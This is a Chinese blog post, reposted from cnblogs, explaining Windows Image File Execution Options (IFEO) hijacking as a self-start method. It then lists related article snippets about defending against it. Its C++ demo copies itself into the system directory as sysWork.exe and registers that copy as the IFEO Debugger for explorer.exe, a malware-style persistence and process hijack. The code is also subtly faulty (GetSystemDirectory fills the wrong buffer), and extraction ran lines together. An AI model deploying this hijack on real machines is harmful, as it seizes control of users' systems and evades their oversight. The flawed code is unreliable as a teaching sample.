简介

Windows映像劫持技术是微软提供给软件开发者调试使用的在注册表项,能够替换目标进程执行。但如果被病毒木马利用,便会成为触发式自启动的绝佳方式,所以修改映像劫持的操作行为也被反病毒软件列为极其危险的行为之一。
实现映像劫持修改的注册表项为:
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options",在项下添加新的子键,名为替代启动的目标进程名,例如"cmd.exe",然后创建新的值项为"Debugger",值为新的进程路径。

C++代码样例


//
// FileName : ifeoDemo.cpp
// Creator : PeterZ1997
// Date : 2018-5-5 18:44
// Comment : Image File Hijacking Demo
//#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <iostream>
#include <windows.h>using namespace std;const unsigned int MAX_COUNT = 255;
BOOL g_fileExistFlag = false;/*** @brief 封装字符型注册表操作* @param hRoot root key* @param szSubKey sub key after the root key* @param szValueName key name* @param szData key Data* @return Boollean Value*/
BOOL setStringValueToReg(HKEY hRoot, const char* szSubKey, const char* szValueName, const char* szValue)
{HKEY hKey;long lRet;if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false;RegCloseKey(hKey);RegCloseKey(hRoot);return true;
}/*** @brief Main Function*/
int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{CHAR szSystemFilePath[MAX_COUNT] = "\0";CHAR szSelfFilePath[MAX_COUNT] = "\0";CHAR szExplorerPath[MAX_COUNT] = "\0";GetSystemDirectory(szSelfFilePath, sizeof(szSystemFilePath));strcat_s(szExplorerPath, sizeof(szExplorerPath), "C:\\Windows\\explorer.exe");strcat_s(szSystemFilePath, sizeof(szSystemFilePath), "\\sysWork.exe");GetModuleFileName(NULL, szSelfFilePath, sizeof(szSelfFilePath));if (!CopyFile(szSelfFilePath, szSystemFilePath, true)){setStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\explorer.exe", "Debugger", "");WinExec(szExplorerPath, SW_SHOW);}setStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\explorer.exe", "Debugger", szSystemFilePath);MessageBox(NULL, "HelloWorld", "Tips", MB_OK);ExitProcess(0);return 0;
}

转载于:https://www.cnblogs.com/PeterZ1997/p/9532027.html

安全之路 —— 通过映像劫持实现文件自启动相关推荐

  1. 防范IFEO映像劫持

    由于最近病毒都采用了IFEO映像劫持技术,导致杀软无法运行或提示无法打开文件,最近此类病毒非常流行,病毒清除操作起来相对复杂一些,所以今天特意发帖强调大家注意. 关于IFEO的介绍网络上有非常多,本文 ...

  2. 防范映像劫持(IFEO HIJACK)

    由于最近病毒都采用了IFEO映像劫持技术,导致杀软无法运行或提示无法打开文件,最近此类病毒非常流行,病毒清除操作起来相对复杂一些,所以今天特意发帖强调大家注意. 关于IFEO的介绍网络上有非常多,本文 ...

  3. 映像劫持病毒有什么现象及清除步骤

    现象 一媒体朋友的笔记本染毒,杀毒软件起不来.开机就弹出若干个窗口,总也关不掉,直到系统内存耗尽死机,安全模式也是同样的现象.无奈之下,尝试重装系统,不过,因为不少人都知道的原因,她只是格式化了C分区 ...

  4. windows映像劫持技术

    今天看windows创建进程的过程,第一个阶段怎么看都看明白,里面说要查看什么注册表,看看有debugger值什么的.后来查了下百度,原来就启动一个进程的一个小阶段被病毒广泛利用,也就是下面说的映像劫 ...

  5. 【权限维持】Windows自启动映像劫持粘滞键辅助屏保后门WinLogon

    文章目录 权限维持-域环境&单机版-自启动 权限维持-域环境&单机版-粘滞键 权限维持-域环境&单机版-映像劫持 权限维持-域环境&单机版-屏保&登录 权限维持 ...

  6. C语言,后门程序,C++映像劫持后门实例分析

    // freeheart.cpp : Defines the entry point for the console application. //学习交流使用,违法使用后果自负. // by:cnb ...

  7. 实例讲解映像劫持的使用技巧——通过映像劫持实现Notepad2替换记事本

    所谓"映像劫持",就是Image File Execution Options,是CreateProcess函数中的一个功能,即在可执行程序运行时,Windows会先检测对应IFE ...

  8. 遭遇使用映像劫持/IFEO 的 Worm.Win32.Avkiller.i/gavuusg.exe

    遭遇使用映像劫持/IFEO 的 Worm.Win32.Avkiller.i/gavuusg.exe endurer 原创 2007-07-21 第1版 中午时一位网友说他的电脑中的金山毒霸和网镖无法启 ...

  9. 遭遇使用映像劫持/IFEO 的 Worm.Win32.Avkiller.i/gavuusg.exe /v2

    遭遇使用映像劫持/IFEO 的 Worm.Win32.Avkiller.i/gavuusg.exe endurer 原创 2007-07-21 第2版 补充 Kaspersky 的回复 2007-07 ...

最新文章

  1. Github 一夜爆火:这份金九银十 Java 面试手册我给跪了
  2. 二、Windows基础数据类型
  3. vue动态设置文字布局方式_详解Vue动态添加模板的几种方法
  4. (五)资源优化 (经典性能优化解决方案)
  5. mysql gtid基础_MySQL 基础知识梳理学习(四)----GTID
  6. leetcode71. 简化路径 Unix 风格
  7. C语言实验——数组逆序
  8. python怎么用第三方库_python中第三方库的下载方法
  9. Flutter进阶—实现动画效果(七)
  10. 今天的时间逻辑以及fix 一个 mysql 程序员错误的习惯
  11. 解决sql2005远程连接报错,提示请验证实例名称是否正确并且 SQL Server 已配置为允许远程连接
  12. CVPR2022Oral专题系列(二):多帧图像合成与增强
  13. C语言写的一个贪吃蛇小游戏(windows系统)
  14. Maven Helper插件下载
  15. C#调用支付宝转账接口 已调通
  16. 华为RH2288V3服务器不重构RAID扩容磁盘方法
  17. 群晖NAS教程(二十一)、利用Docker安装DDNS动态域名解析,自动更新域名解析到公网IP(支持阿里云、腾讯云dnspod、Cloudflare、华为云)
  18. Altium Designer 18中的Violations Associated with Documents
  19. 一文弄懂printf函数从用户态到内核态的执行流程
  20. 工信部python证书多少钱_python requests SSL证书问题

热门文章

  1. 寻迹避障小车系统的组成
  2. GD32F303调试小记(一)之USART(接收中断、接收空闲中断+DMA、发送DMA)
  3. 一个普通码农在汽车领域的创业失败复盘!
  4. 计算机基础说课稿,《计算机基础》 说课稿.doc
  5. Java调用小票打印机(型号TM-288B)打印小票 (上)
  6. 解决看不到IDEA中lambda表达式、lambda不见了
  7. 【U8+】用友U8同一个账套使用了好多年,需要将以前年度进行分离、删除。
  8. 数据分析必知必会,都总结好了!
  9. win7x64下实现进程保护
  10. 【论文阅读笔记】Say As You Wish: Fine-grained Control of Image Caption Generation with Abstract Scene Graphs